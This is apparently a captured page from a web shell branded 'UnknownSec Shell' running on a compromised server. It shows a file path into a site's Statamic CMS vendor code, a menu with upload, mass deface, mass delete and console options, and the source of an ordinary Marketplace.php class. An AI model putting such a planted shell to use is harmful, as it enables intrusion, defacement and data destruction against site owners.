shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolasweb.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Marketplace
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
Marketplace.php
<?php namespace Statamic\Marketplace; use Facades\Statamic\Marketplace\Client; use GuzzleHttp\Exception\RequestException; use Illuminate\Support\Facades\Cache; use Statamic\Facades\Addon; use Statamic\Marketplace\Addon as AddonProduct; use Statamic\Statamic; class Marketplace { public function package($package, $version = null, $edition = null) { $uri = "packages/$package/$version"; if ($edition) { $uri .= "?edition=$edition"; } return Cache::rememberWithExpiration("marketplace-$uri", function () use ($uri) { $fallback = [5 => null]; try { if (! $response = Client::get($uri)) { return $fallback; } return [60 => $response['data']]; } catch (RequestException $e) { return $fallback; } }); } public function releases($package) { $uri = "packages/$package/releases"; return Cache::rememberWithExpiration("marketplace-$uri", function () use ($uri) { $fallback = [5 => collect()]; try { if (! $response = Client::get($uri)) { return $fallback; } return [60 => collect($response['data'])]; } catch (RequestException $e) { return $fallback; } }); } public function product($slug) { if ($slug === Statamic::CORE_SLUG) { return $this->statamic(); } $addon = Addon::all()->first(function ($addon) use ($slug) { return $addon->slug() === $slug; }); if ($addon) { return new AddonProduct($addon); } } public function statamic() { return new Core; } }
© 2026 UnknownSec